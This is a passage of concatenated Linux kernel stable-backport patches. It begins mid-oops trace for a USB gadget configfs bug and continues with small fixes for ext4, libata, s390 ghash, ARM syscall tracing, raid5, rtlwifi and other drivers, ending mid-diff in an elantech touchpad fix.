ed8c9c98 ed799690 eca2f140 200001d3 [ 82.340289] 9e20: ee79a2d8 c07c9e88 c07c5304 ffff55db 00010002 edaae810 edaae860 eda96d50 [ 82.348448] 9e40: 00000009 ee264510 00000007 c07ca444 edaae860 c0340890 c0827a40 ffff55e0 [ 82.356607] 9e60: c0827a40 eda96e40 ee264510 edaae810 00000000 edaae860 00000007 c07ca444 [ 82.364766] 9e80: edaae860 c0354170 c03407dc c033db4c edaae810 00000000 00000000 00000010 [ 82.372925] 9ea0: 00000032 c0341670 00000000 00000000 00000001 eda96e00 00000000 00000000 [ 82.381084] 9ec0: 00000000 00000032 c0803a23 ee1aa840 00000001 c005d54c 249e2450 00000000 [ 82.389244] 9ee0: 200001d3 ee1aa840 ee1aa8a0 ed84f4c0 00000000 c07c9f68 00000067 c07c59ac [ 82.397403] 9f00: 00000000 c005d688 ee1aa840 ee1aa8a0 c07db4b4 c006009c 00000032 00000000 [ 82.405562] 9f20: 00000001 c005ce20 c07c59ac c005cf34 f002000c c07ca780 c07c9f68 00000057 [ 82.413722] 9f40: f0020000 413fc090 00000001 c00086b4 c000f804 60000053 ffffffff c07c9f9c [ 82.421880] 9f60: c0803a20 c0011fc0 00000000 00000000 c07c9fb8 c001bee0 c07ca4f0 c057004c [ 82.430040] 9f80: c07ca4fc c0803a20 c0803a20 413fc090 00000001 00000000 01000000 c07c9fb0 [ 82.438199] 9fa0: c000f800 c000f804 60000053 ffffffff 00000000 c0050e70 c0803bc0 c0783bd8 [ 82.446358] 9fc0: ffffffff ffffffff c0783664 00000000 00000000 c07b13e8 00000000 c0803e54 [ 82.454517] 9fe0: c07ca480 c07b13e4 c07ce40c 4000406a 00000000 40008074 00000000 00000000 [ 82.462689] [] (composite_setup) from [] (s3c_hsotg_complete_setup+0xb4/0x418) [ 82.471626] [] (s3c_hsotg_complete_setup) from [] (usb_gadget_giveback_request+0xc/0x10) [ 82.481429] [] (usb_gadget_giveback_request) from [] (s3c_hsotg_complete_request+0xcc/0x12c) [ 82.491583] [] (s3c_hsotg_complete_request) from [] (s3c_hsotg_irq+0x4fc/0x558) [ 82.500614] [] (s3c_hsotg_irq) from [] (handle_irq_event_percpu+0x50/0x150) [ 82.509291] [] (handle_irq_event_percpu) from [] (handle_irq_event+0x3c/0x5c) [ 82.518145] [] (handle_irq_event) from [] (handle_fasteoi_irq+0xd4/0x18c) [ 82.526650] [] (handle_fasteoi_irq) from [] (generic_handle_irq+0x20/0x30) [ 82.535242] [] (generic_handle_irq) from [] (__handle_domain_irq+0x6c/0xdc) [ 82.543923] [] (__handle_domain_irq) from [] (gic_handle_irq+0x2c/0x6c) [ 82.552256] [] (gic_handle_irq) from [] (__irq_svc+0x40/0x74) [ 82.559716] Exception stack(0xc07c9f68 to 0xc07c9fb0) [ 82.564753] 9f60: 00000000 00000000 c07c9fb8 c001bee0 c07ca4f0 c057004c [ 82.572913] 9f80: c07ca4fc c0803a20 c0803a20 413fc090 00000001 00000000 01000000 c07c9fb0 [ 82.581069] 9fa0: c000f800 c000f804 60000053 ffffffff [ 82.586113] [] (__irq_svc) from [] (arch_cpu_idle+0x30/0x3c) [ 82.593491] [] (arch_cpu_idle) from [] (cpu_startup_entry+0x128/0x1a4) [ 82.601740] [] (cpu_startup_entry) from [] (start_kernel+0x350/0x3bc) [ 82.609890] Code: 0a000002 e3530005 05975010 15975008 (e5953000) [ 82.615965] ---[ end trace f57d5f599a5f1bfa ]--- Most of kernel code assume that interface array in struct usb_configuration is NULL terminated. When gadget is composed with configfs configuration structure may be reused for different functions set. This bug happens because purge_configs_funcs() sets only next_interface_id to 0. Interface array still contains pointers to already freed interfaces. If in second try we add less interfaces than earlier we may access unallocated memory when trying to get interface descriptors. Signed-off-by: Krzysztof Opasiak Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman --- drivers/usb/gadget/configfs.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/usb/gadget/configfs.c b/drivers/usb/gadget/configfs.c index 80e7f75a56c7..3dab424515ef 100644 --- a/drivers/usb/gadget/configfs.c +++ b/drivers/usb/gadget/configfs.c @@ -757,6 +757,7 @@ static void purge_configs_funcs(struct gadget_info *gi) } } c->next_interface_id = 0; + memset(c->interface, 0, sizeof(c->interface)); c->superspeed = 0; c->highspeed = 0; c->fullspeed = 0; -- cgit v1.2.3 From c8f30d37ddc0800e6fcbda887c739f08654bef13 Mon Sep 17 00:00:00 2001 From: Anton Blanchard Date: Thu, 14 May 2015 14:45:40 +1000 Subject: powerpc: Align TOC to 256 bytes commit 5e95235ccd5442d4a4fe11ec4eb99ba1b7959368 upstream. Recent toolchains force the TOC to be 256 byte aligned. We need to enforce this alignment in our linker script, otherwise pointers to our TOC variables (__toc_start, __prom_init_toc_start) could be incorrect. If they are bad, we die a few hundred instructions into boot. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman --- arch/powerpc/kernel/vmlinux.lds.S | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/powerpc/kernel/vmlinux.lds.S b/arch/powerpc/kernel/vmlinux.lds.S index f096e72262f4..1db685104ffc 100644 --- a/arch/powerpc/kernel/vmlinux.lds.S +++ b/arch/powerpc/kernel/vmlinux.lds.S @@ -213,6 +213,7 @@ SECTIONS *(.opd) } + . = ALIGN(256); .got : AT(ADDR(.got) - LOAD_OFFSET) { __toc_start = .; #ifndef CONFIG_RELOCATABLE -- cgit v1.2.3 From a72719d75d8e30203d8624465215072b74be30e7 Mon Sep 17 00:00:00 2001 From: Ludovic Desroches Date: Wed, 6 May 2015 15:16:46 +0200 Subject: mmc: atmel-mci: fix bad variable type for clkdiv commit 60c8f783a18feb95ad967c87e9660caf09fb4700 upstream. clkdiv is declared as an u32 but it can be set to a negative value causing a huge divisor value. Change its type to int to avoid this case. Signed-off-by: Ludovic Desroches Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman --- drivers/mmc/host/atmel-mci.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/drivers/mmc/host/atmel-mci.c b/drivers/mmc/host/atmel-mci.c index 84b054b08462..e742761679fa 100644 --- a/drivers/mmc/host/atmel-mci.c +++ b/drivers/mmc/host/atmel-mci.c @@ -1295,7 +1295,7 @@ static void atmci_set_ios(struct mmc_host *mmc, struct mmc_ios *ios) if (ios->clock) { unsigned int clock_min = ~0U; - u32 clkdiv; + int clkdiv; spin_lock_bh(&host->lock); if (!host->mode_reg) { @@ -1320,7 +1320,12 @@ static void atmci_set_ios(struct mmc_host *mmc, struct mmc_ios *ios) /* Calculate clock divider */ if (host->caps.has_odd_clk_div) { clkdiv = DIV_ROUND_UP(host->bus_hz, clock_min) - 2; - if (clkdiv > 511) { + if (clkdiv < 0) { + dev_warn(&mmc->class_dev, + "clock %u too fast; using %lu\n", + clock_min, host->bus_hz / 2); + clkdiv = 0; + } else if (clkdiv > 511) { dev_warn(&mmc->class_dev, "clock %u too slow; using %lu\n", clock_min, host->bus_hz / (511 + 2)); -- cgit v1.2.3 From 4379534c0d1131fabc7b4482943774a58233335a Mon Sep 17 00:00:00 2001 From: Dmitry Monakhov Date: Wed, 28 Aug 2013 14:30:47 -0400 Subject: ext4: convert write_begin methods to stable_page_writes semantics commit 7afe5aa59ed3da7b6161617e7f157c7c680dc41e upstream. Use wait_for_stable_page() instead of wait_on_page_writeback() Signed-off-by: Dmitry Monakhov Signed-off-by: "Theodore Ts'o" Reviewed-by: Jan Kara Cc: Alex Shi Signed-off-by: Greg Kroah-Hartman --- fs/ext4/inode.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 9e3d8dd6c40a..8a277505a3be 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -1032,7 +1032,8 @@ retry_journal: ext4_journal_stop(handle); goto retry_grab; } - wait_on_page_writeback(page); + /* In case writeback began while the page was unlocked */ + wait_for_stable_page(page); if (ext4_should_dioread_nolock(inode)) ret = __block_write_begin(page, pos, len, ext4_get_block_write); @@ -2729,7 +2730,7 @@ retry_journal: goto retry_grab; } /* In case writeback began while the page was unlocked */ - wait_on_page_writeback(page); + wait_for_stable_page(page); ret = __block_write_begin(page, pos, len, ext4_da_get_block_prep); if (ret < 0) { -- cgit v1.2.3 From 566831a12ef80b9622bf8263299d859bdd35128c Mon Sep 17 00:00:00 2001 From: Eryu Guan Date: Thu, 14 May 2015 19:00:45 -0400 Subject: ext4: check for zero length extent explicitly commit 2f974865ffdfe7b9f46a9940836c8b167342563d upstream. The following commit introduced a bug when checking for zero length extent 5946d08 ext4: check for overlapping extents in ext4_valid_extent_entries() Zero length extent could pass the check if lblock is zero. Adding the explicit check for zero length back. Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman --- fs/ext4/extents.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 7fbd1c5b74af..df633bb25909 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -363,7 +363,7 @@ static int ext4_valid_extent(struct inode *inode, struct ext4_extent *ext) ext4_lblk_t lblock = le32_to_cpu(ext->ee_block); ext4_lblk_t last = lblock + len - 1; - if (lblock > last) + if (len == 0 || lblock > last) return 0; return ext4_data_block_valid(EXT4_SB(inode->i_sb), block, len); } -- cgit v1.2.3 From 8d850bbf3e11742927aa500a2dcd121999708246 Mon Sep 17 00:00:00 2001 From: Gabriele Mazzotta Date: Sat, 25 Apr 2015 19:52:36 +0200 Subject: libata: Add helper to determine when PHY events should be ignored commit 8393b811f38acdf7fd8da2028708edad3e68ce1f upstream. This is a preparation commit that will allow to add other criteria according to which PHY events should be dropped. Signed-off-by: Gabriele Mazzotta Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman --- drivers/ata/libahci.c | 3 +-- drivers/ata/libata-core.c | 19 +++++++++++++++++++ include/linux/libata.h | 1 + 3 files changed, 21 insertions(+), 2 deletions(-) diff --git a/drivers/ata/libahci.c b/drivers/ata/libahci.c index 8905e03a53a2..cf5f35877559 100644 --- a/drivers/ata/libahci.c +++ b/drivers/ata/libahci.c @@ -1684,8 +1684,7 @@ static void ahci_handle_port_interrupt(struct ata_port *ap, if (unlikely(resetting)) status &= ~PORT_IRQ_BAD_PMP; - /* if LPM is enabled, PHYRDY doesn't mean anything */ - if (ap->link.lpm_policy > ATA_LPM_MAX_POWER) { + if (sata_lpm_ignore_phy_events(&ap->link)) { status &= ~PORT_IRQ_PHYRDY; ahci_scr_write(&ap->link, SCR_ERROR, SERR_PHYRDY_CHG); } diff --git a/drivers/ata/libata-core.c b/drivers/ata/libata-core.c index ca7c23d58a03..aae54e397441 100644 --- a/drivers/ata/libata-core.c +++ b/drivers/ata/libata-core.c @@ -6800,6 +6800,25 @@ u32 ata_wait_register(struct ata_port *ap, void __iomem *reg, u32 mask, u32 val, return tmp; } +/** + * sata_lpm_ignore_phy_events - test if PHY event should be ignored + * @link: Link receiving the event + * + * Test whether the received PHY event has to be ignored or not. + * + * LOCKING: + * None: + * + * RETURNS: + * True if the event has to be ignored. + */ +bool sata_lpm_ignore_phy_events(struct ata_link *link) +{ + /* if LPM is enabled, PHYRDY doesn't mean anything */ + return !!(link->lpm_policy > ATA_LPM_MAX_POWER); +} +EXPORT_SYMBOL_GPL(sata_lpm_ignore_phy_events); + /* * Dummy port_ops */ diff --git a/include/linux/libata.h b/include/linux/libata.h index cc82cfb66259..335451916118 100644 --- a/include/linux/libata.h +++ b/include/linux/libata.h @@ -1085,6 +1085,7 @@ extern struct ata_device *ata_dev_pair(struct ata_device *adev); extern int ata_do_set_mode(struct ata_link *link, struct ata_device **r_failed_dev); extern void ata_scsi_port_error_handler(struct Scsi_Host *host, struct ata_port *ap); extern void ata_scsi_cmd_error_handler(struct Scsi_Host *host, struct ata_port *ap, struct list_head *eh_q); +extern bool sata_lpm_ignore_phy_events(struct ata_link *link); extern int ata_cable_40wire(struct ata_port *ap); extern int ata_cable_80wire(struct ata_port *ap); -- cgit v1.2.3 From e8d1999916842abf8540735ace775f733cfaa828 Mon Sep 17 00:00:00 2001 From: Gabriele Mazzotta Date: Sat, 25 Apr 2015 19:52:37 +0200 Subject: libata: Ignore spurious PHY event on LPM policy change commit 09c5b4803a80a5451d950d6a539d2eb311dc0fb1 upstream. When the LPM policy is set to ATA_LPM_MAX_POWER, the device might generate a spurious PHY event that cuases errors on the link. Ignore this event if it occured within 10s after the policy change. The timeout was chosen observing that on a Dell XPS13 9333 these spurious events can occur up to roughly 6s after the policy change. Link: http://lkml.kernel.org/g/3352987.ugV1Ipy7Z5@xps13 Signed-off-by: Gabriele Mazzotta Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman --- drivers/ata/libata-core.c | 15 ++++++++++++++- drivers/ata/libata-eh.c | 3 +++ include/linux/libata.h | 9 +++++++++ 3 files changed, 26 insertions(+), 1 deletion(-) diff --git a/drivers/ata/libata-core.c b/drivers/ata/libata-core.c index aae54e397441..5d47a040129a 100644 --- a/drivers/ata/libata-core.c +++ b/drivers/ata/libata-core.c @@ -6814,8 +6814,21 @@ u32 ata_wait_register(struct ata_port *ap, void __iomem *reg, u32 mask, u32 val, */ bool sata_lpm_ignore_phy_events(struct ata_link *link) { + unsigned long lpm_timeout = link->last_lpm_change + + msecs_to_jiffies(ATA_TMOUT_SPURIOUS_PHY); + /* if LPM is enabled, PHYRDY doesn't mean anything */ - return !!(link->lpm_policy > ATA_LPM_MAX_POWER); + if (link->lpm_policy > ATA_LPM_MAX_POWER) + return true; + + /* ignore the first PHY event after the LPM policy changed + * as it is might be spurious + */ + if ((link->flags & ATA_LFLAG_CHANGED) && + time_before(jiffies, lpm_timeout)) + return true; + + return false; } EXPORT_SYMBOL_GPL(sata_lpm_ignore_phy_events); diff --git a/drivers/ata/libata-eh.c b/drivers/ata/libata-eh.c index 370462fa8e01..063036d876b0 100644 --- a/drivers/ata/libata-eh.c +++ b/drivers/ata/libata-eh.c @@ -3481,6 +3481,9 @@ static int ata_eh_set_lpm(struct ata_link *link, enum ata_lpm_policy policy, } } + link->last_lpm_change = jiffies; + link->flags |= ATA_LFLAG_CHANGED; + return 0; fail: diff --git a/include/linux/libata.h b/include/linux/libata.h index 335451916118..8e5d45fa83cf 100644 --- a/include/linux/libata.h +++ b/include/linux/libata.h @@ -187,6 +187,7 @@ enum { ATA_LFLAG_SW_ACTIVITY = (1 << 7), /* keep activity stats */ ATA_LFLAG_NO_LPM = (1 << 8), /* disable LPM on this link */ ATA_LFLAG_RST_ONCE = (1 << 9), /* limit recovery to one reset */ + ATA_LFLAG_CHANGED = (1 << 10), /* LPM state changed on this link */ /* struct ata_port flags */ ATA_FLAG_SLAVE_POSS = (1 << 0), /* host supports slave dev */ @@ -289,6 +290,12 @@ enum { */ ATA_TMOUT_PMP_SRST_WAIT = 5000, + /* When the LPM policy is set to ATA_LPM_MAX_POWER, there might + * be a spurious PHY event, so ignore the first PHY event that + * occurs within 10s after the policy change. + */ + ATA_TMOUT_SPURIOUS_PHY = 10000, + /* ATA bus states */ BUS_UNKNOWN = 0, BUS_DMA = 1, @@ -736,6 +743,8 @@ struct ata_link { struct ata_eh_context eh_context; struct ata_device device[ATA_MAX_DEVICES]; + + unsigned long last_lpm_change; /* when last LPM change happened */ }; #define ATA_LINK_CLEAR_BEGIN offsetof(struct ata_link, active_tag) #define ATA_LINK_CLEAR_END offsetof(struct ata_link, device[0]) -- cgit v1.2.3 From da9c40427d0b9f7385911cd2614e836fc309db5b Mon Sep 17 00:00:00 2001 From: Scott Branden Date: Mon, 16 Mar 2015 10:59:52 -0700 Subject: rt2x00: add new rt2800usb device DWA 130 commit ea345c145ff23197eab34d0c4d0c8a93d7bea8c6 upstream. Add the USB Id to link the D-Link DWA 130 USB Wifi adapter to the rt2830 driver. Signed-off-by: Scott Branden Signed-off-by: Pieter Truter Signed-off-by: Kalle Valo Cc: Larry Finger Signed-off-by: Greg Kroah-Hartman --- drivers/net/wireless/rt2x00/rt2800usb.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/net/wireless/rt2x00/rt2800usb.c b/drivers/net/wireless/rt2x00/rt2800usb.c index 400b8679796a..44b6715ccfb1 100644 --- a/drivers/net/wireless/rt2x00/rt2800usb.c +++ b/drivers/net/wireless/rt2x00/rt2800usb.c @@ -1020,6 +1020,7 @@ static struct usb_device_id rt2800usb_device_table[] = { { USB_DEVICE(0x07d1, 0x3c16) }, { USB_DEVICE(0x07d1, 0x3c17) }, { USB_DEVICE(0x2001, 0x3c1b) }, + { USB_DEVICE(0x2001, 0x3c25) }, /* Draytek */ { USB_DEVICE(0x07fa, 0x7712) }, /* DVICO */ -- cgit v1.2.3 From 61536d737f9353582619c60b658cf4db2059eeba Mon Sep 17 00:00:00 2001 From: Harald Freudenberger Date: Thu, 21 May 2015 10:01:11 +0200 Subject: crypto: s390/ghash - Fix incorrect ghash icv buffer handling. commit a1cae34e23b1293eccbcc8ee9b39298039c3952a upstream. Multitheaded tests showed that the icv buffer in the current ghash implementation is not handled correctly. A move of this working ghash buffer value to the descriptor context fixed this. Code is tested and verified with an multithreaded application via af_alg interface. Signed-off-by: Harald Freudenberger Signed-off-by: Gerald Schaefer Reported-by: Herbert Xu Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman --- arch/s390/crypto/ghash_s390.c | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/arch/s390/crypto/ghash_s390.c b/arch/s390/crypto/ghash_s390.c index 7940dc90e80b..b258110da952 100644 --- a/arch/s390/crypto/ghash_s390.c +++ b/arch/s390/crypto/ghash_s390.c @@ -16,11 +16,12 @@ #define GHASH_DIGEST_SIZE 16 struct ghash_ctx { - u8 icv[16]; - u8 key[16]; + u8 key[GHASH_BLOCK_SIZE]; }; struct ghash_desc_ctx { + u8 icv[GHASH_BLOCK_SIZE]; + u8 key[GHASH_BLOCK_SIZE]; u8 buffer[GHASH_BLOCK_SIZE]; u32 bytes; }; @@ -28,8 +29,10 @@ struct ghash_desc_ctx { static int ghash_init(struct shash_desc *desc) { struct ghash_desc_ctx *dctx = shash_desc_ctx(desc); + struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm); memset(dctx, 0, sizeof(*dctx)); + memcpy(dctx->key, ctx->key, GHASH_BLOCK_SIZE); return 0; } @@ -45,7 +48,6 @@ static int ghash_setkey(struct crypto_shash *tfm, } memcpy(ctx->key, key, GHASH_BLOCK_SIZE); - memset(ctx->icv, 0, GHASH_BLOCK_SIZE); return 0; } @@ -54,7 +56,6 @@ static int ghash_update(struct shash_desc *desc, const u8 *src, unsigned int srclen) { struct ghash_desc_ctx *dctx = shash_desc_ctx(desc); - struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm); unsigned int n; u8 *buf = dctx->buffer; int ret; @@ -70,7 +71,7 @@ static int ghash_update(struct shash_desc *desc, src += n; if (!dctx->bytes) { - ret = crypt_s390_kimd(KIMD_GHASH, ctx, buf, + ret = crypt_s390_kimd(KIMD_GHASH, dctx, buf, GHASH_BLOCK_SIZE); if (ret != GHASH_BLOCK_SIZE) return -EIO; @@ -79,7 +80,7 @@ static int ghash_update(struct shash_desc *desc, n = srclen & ~(GHASH_BLOCK_SIZE - 1); if (n) { - ret = crypt_s390_kimd(KIMD_GHASH, ctx, src, n); + ret = crypt_s390_kimd(KIMD_GHASH, dctx, src, n); if (ret != n) return -EIO; src += n; @@ -94,7 +95,7 @@ static int ghash_update(struct shash_desc *desc, return 0; } -static int ghash_flush(struct ghash_ctx *ctx, struct ghash_desc_ctx *dctx) +static int ghash_flush(struct ghash_desc_ctx *dctx) { u8 *buf = dctx->buffer; int ret; @@ -104,24 +105,24 @@ static int ghash_flush(struct ghash_ctx *ctx, struct ghash_desc_ctx *dctx) memset(pos, 0, dctx->bytes); - ret = crypt_s390_kimd(KIMD_GHASH, ctx, buf, GHASH_BLOCK_SIZE); + ret = crypt_s390_kimd(KIMD_GHASH, dctx, buf, GHASH_BLOCK_SIZE); if (ret != GHASH_BLOCK_SIZE) return -EIO; + + dctx->bytes = 0; } - dctx->bytes = 0; return 0; } static int ghash_final(struct shash_desc *desc, u8 *dst) { struct ghash_desc_ctx *dctx = shash_desc_ctx(desc); - struct ghash_ctx *ctx = crypto_shash_ctx(desc->tfm); int ret; - ret = ghash_flush(ctx, dctx); + ret = ghash_flush(dctx); if (!ret) - memcpy(dst, ctx->icv, GHASH_BLOCK_SIZE); + memcpy(dst, dctx->icv, GHASH_BLOCK_SIZE); return ret; } -- cgit v1.2.3 From f8db4e64c79540e36a2b7cd728a3988ac568f0a5 Mon Sep 17 00:00:00 2001 From: Philippe Reynes Date: Wed, 13 May 2015 00:18:26 +0200 Subject: ARM: dts: imx27: only map 4 Kbyte for fec registers MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit a29ef819f3f34f89a1b9b6a939b4c1cdfe1e85ce upstream. According to the imx27 documentation, fec has a 4 Kbyte memory space map. Moreover, the actual 16 Kbyte mapping overlaps the SCC (Security Controller) memory register space. So, we reduce the memory register space to 4 Kbyte. Signed-off-by: Philippe Reynes Acked-by: Uwe Kleine-König Fixes: 9f0749e3eb88 ("ARM i.MX27: Add devicetree support") Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman --- arch/arm/boot/dts/imx27.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/boot/dts/imx27.dtsi b/arch/arm/boot/dts/imx27.dtsi index 75bd11386516..77730a37344e 100644 --- a/arch/arm/boot/dts/imx27.dtsi +++ b/arch/arm/boot/dts/imx27.dtsi @@ -290,7 +290,7 @@ fec: ethernet@1002b000 { compatible = "fsl,imx27-fec"; - reg = <0x1002b000 0x4000>; + reg = <0x1002b000 0x1000>; interrupts = <50>; clocks = <&clks 48>, <&clks 67>, <&clks 0>; clock-names = "ipg", "ahb", "ptp"; -- cgit v1.2.3 From 68507f74d96c86b778deb3b11c0f924e85b6b986 Mon Sep 17 00:00:00 2001 From: Russell King Date: Fri, 15 May 2015 11:02:23 +0100 Subject: ARM: fix missing syscall trace exit commit 1b97937246d8b97c0760d16d8992c7937bdf5e6a upstream. Josh Stone reports: I've discovered a case where both arm and arm64 will miss a ptrace syscall-exit that they should report. If the syscall is entered without TIF_SYSCALL_TRACE set, then it goes on the fast path. It's then possible to have TIF_SYSCALL_TRACE added in the middle of the syscall, but ret_fast_syscall doesn't check this flag again. Fix this by always checking for a syscall trace in the fast exit path. Reported-by: Josh Stone Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman --- arch/arm/kernel/entry-common.S | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/arch/arm/kernel/entry-common.S b/arch/arm/kernel/entry-common.S index 4bc816a74a2e..f2646934c714 100644 --- a/arch/arm/kernel/entry-common.S +++ b/arch/arm/kernel/entry-common.S @@ -32,7 +32,9 @@ ret_fast_syscall: UNWIND(.fnstart ) UNWIND(.cantunwind ) disable_irq @ disable interrupts - ldr r1, [tsk, #TI_FLAGS] + ldr r1, [tsk, #TI_FLAGS] @ re-check for syscall tracing + tst r1, #_TIF_SYSCALL_WORK + bne __sys_trace_return tst r1, #_TIF_WORK_MASK bne fast_work_pending asm_trace_hardirqs_on -- cgit v1.2.3 From c709ca10c52b9bf7f0e4cb2e0d689f37eee991d0 Mon Sep 17 00:00:00 2001 From: Scott Mayhew Date: Tue, 28 Apr 2015 16:29:53 -0400 Subject: svcrpc: fix potential GSSX_ACCEPT_SEC_CONTEXT decoding failures commit 9507271d960a1911a51683888837d75c171cd91f upstream. In an environment where the KDC is running Active Directory, the exported composite name field returned in the context could be large enough to span a page boundary. Attaching a scratch buffer to the decoding xdr_stream helps deal with those cases. The case where we saw this was actually due to behavior that's been fixed in newer gss-proxy versions, but we're fixing it here too. Signed-off-by: Scott Mayhew Reviewed-by: Simo Sorce Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman --- net/sunrpc/auth_gss/gss_rpc_xdr.c | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/net/sunrpc/auth_gss/gss_rpc_xdr.c b/net/sunrpc/auth_gss/gss_rpc_xdr.c index f0f78c5f1c7d..e0062c544ac8 100644 --- a/net/sunrpc/auth_gss/gss_rpc_xdr.c +++ b/net/sunrpc/auth_gss/gss_rpc_xdr.c @@ -794,20 +794,26 @@ int gssx_dec_accept_sec_context(struct rpc_rqst *rqstp, { u32 value_follows; int err; + struct page *scratch; + + scratch = alloc_page(GFP_KERNEL); + if (!scratch) + return -ENOMEM; + xdr_set_scratch_buffer(xdr, page_address(scratch), PAGE_SIZE); /* res->status */ err = gssx_dec_status(xdr, &res->status); if (err) - return err; + goto out_free; /* res->context_handle */ err = gssx_dec_bool(xdr, &value_follows); if (err) - return err; + goto out_free; if (value_follows) { err = gssx_dec_ctx(xdr, res->context_handle); if (err) - return err; + goto out_free; } else { res->context_handle = NULL; } @@ -815,11 +821,11 @@ int gssx_dec_accept_sec_context(struct rpc_rqst *rqstp, /* res->output_token */ err = gssx_dec_bool(xdr, &value_follows); if (err) - return err; + goto out_free; if (value_follows) { err = gssx_dec_buffer(xdr, res->output_token); if (err) - return err; + goto out_free; } else { res->output_token = NULL; } @@ -827,14 +833,17 @@ int gssx_dec_accept_sec_context(struct rpc_rqst *rqstp, /* res->delegated_cred_handle */ err = gssx_dec_bool(xdr, &value_follows); if (err) - return err; + goto out_free; if (value_follows) { /* we do not support upcall servers sending this data. */ - return -EINVAL; + err = -EINVAL; + goto out_free; } /* res->options */ err = gssx_dec_option_array(xdr, &res->options); +out_free: + __free_page(scratch); return err; } -- cgit v1.2.3 From 3763b3c77e2c77aa226fde2fac64bd85a2b85c80 Mon Sep 17 00:00:00 2001 From: NeilBrown Date: Fri, 8 May 2015 18:19:34 +1000 Subject: md/raid5: don't record new size if resize_stripes fails. commit 6e9eac2dcee5e19f125967dd2be3e36558c42fff upstream. If any memory allocation in resize_stripes fails we will return -ENOMEM, but in some cases we update conf->pool_size anyway. This means that if we try again, the allocations will be assumed to be larger than they are, and badness results. So only update pool_size if there is no error. This bug was introduced in 2.6.17 and the patch is suitable for -stable. Fixes: ad01c9e3752f ("[PATCH] md: Allow stripes to be expanded in preparation for expanding an array") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman --- drivers/md/raid5.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/drivers/md/raid5.c b/drivers/md/raid5.c index 1b6986ce5da9..ef18ca745b1e 100644 --- a/drivers/md/raid5.c +++ b/drivers/md/raid5.c @@ -1701,7 +1701,8 @@ static int resize_stripes(struct r5conf *conf, int newsize) conf->slab_cache = sc; conf->active_name = 1-conf->active_name; - conf->pool_size = newsize; + if (!err) + conf->pool_size = newsize; return err; } -- cgit v1.2.3 From 35760dc525870d213ba2a77fb92e8652290b76df Mon Sep 17 00:00:00 2001 From: Larry Finger Date: Fri, 24 Apr 2015 11:03:37 -0500 Subject: rtlwifi: rtl8192cu: Fix kernel deadlock commit 414b7e3b9ce8b0577f613e656fdbc36b34b444dd upstream. The USB mini-driver in rtlwifi, which is used by rtl8192cu, issues a call to usb_control_msg() with a timeout value of 0. In some instances where the interface is shutting down, this infinite wait results in a CPU deadlock. A one second timeout fixes this problem without affecting any normal operations. This bug is reported at https://bugzilla.novell.com/show_bug.cgi?id=927786. Reported-by: Bernhard Wiedemann Tested-by: Bernhard Wiedemann Signed-off-by: Larry Finger Cc: Bernhard Wiedemann Cc: Takashi Iwai Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman --- drivers/net/wireless/rtlwifi/usb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/net/wireless/rtlwifi/usb.c b/drivers/net/wireless/rtlwifi/usb.c index 57b12a5883a0..3ad79736b255 100644 --- a/drivers/net/wireless/rtlwifi/usb.c +++ b/drivers/net/wireless/rtlwifi/usb.c @@ -119,7 +119,7 @@ static int _usbctrl_vendorreq_sync_read(struct usb_device *udev, u8 request, do { status = usb_control_msg(udev, pipe, request, reqtype, value, - index, pdata, len, 0); /*max. timeout*/ + index, pdata, len, 1000); if (status < 0) { /* firmware download is checksumed, don't retry */ if ((value >= FW_8192C_START_ADDRESS && -- cgit v1.2.3 From 1b577b9f2aadfca6935ceb96867d3b2def39cc9c Mon Sep 17 00:00:00 2001 From: Benjamin Tissoires Date: Thu, 23 Apr 2015 09:08:43 -0700 Subject: Input: elantech - fix semi-mt protocol for v3 HW commit 3c0213d17a09601e0c6c0ae0e27caf70d988290f upstream. When the v3 hardware sees more than one finger, it uses the semi-mt protocol to report the touches. However, it currently works when num_fingers is 0, 1 or 2, but when it is 3 and above, it sends only 1 finger as if num_fingers was 1. This confuses userspace which knows how to deal with extra fingers when all the slots are used, but not when some are missing. Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=90101 Signed-off-by: Benjamin Tissoires Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman --- drivers/input/mouse/elantech.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/input/mouse/elantech.c b/drivers/input/mouse/elantech.c index 1af7df263368..dbd4f5ad3343 100644 --- a/drivers/input/mouse/elantech.c +++ b/drivers/input/mouse/elantech.c @@ -314,7 +314,7 @@ static void elantech_report_semi_mt_data(struct input_dev *dev, unsigned int x2, unsigned int y2) { elantech_set_slot(dev, 0, 